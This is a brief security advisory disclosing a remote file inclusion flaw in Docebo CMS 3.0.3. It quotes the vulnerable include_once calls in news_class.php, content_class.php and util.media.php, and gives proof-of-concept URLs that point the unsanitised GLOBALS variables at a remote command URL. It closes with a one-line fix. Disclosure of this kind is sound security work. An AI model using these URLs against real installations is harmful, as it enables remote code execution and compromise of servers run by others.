Sinthesis: Docebo CMS 3.0.3, Remote command execution
Type:      high
Product:   http://www.docebolms.org/
Patch:     unavailable
-----------------------------------------------------


1) Description:

Error occured in news_class.php,

include_once($GLOBALS['where_framework']."/lib/lib.listview.
php");
include_once($GLOBALS['where_framework']."/lib/lib.treedb.
php");
include_once($GLOBALS['where_framework']."/lib/lib.treeview.
php");

Error occured in content_class.php,

include_once($GLOBALS['where_framework']."/lib/lib.listview.
php");
include_once($GLOBALS['where_framework']."/lib/lib.treedb.
php");
include_once($GLOBALS['where_framework']."/lib/lib.treeview.
php");

Error occured in util.media.php,

include_once($GLOBALS["where_cms"].
"/admin/modules/media/media_class.php");

The users can include a remote file because
the $GLOBALS['where_framework'], $GLOBALS['where_cms']
isn't sanitized

2) Proof of concept:

http://example/doceboCms/[dc_path]admin/modules/news/news_class.
php?GLOBALS[where_framework]=[cmd_url]
http://example/doceboCms/[dc_path]admin/modules/content/content_class.
php?GLOBALS[where_framework]=[cmd_url]
http://example/doceboCms/[dc_path]admin/modules/block_media/util.media.
php?GLOBALS[where_cms]=[cmd_url]

3) Solution:

include file where are declare $GLOBALS[*]
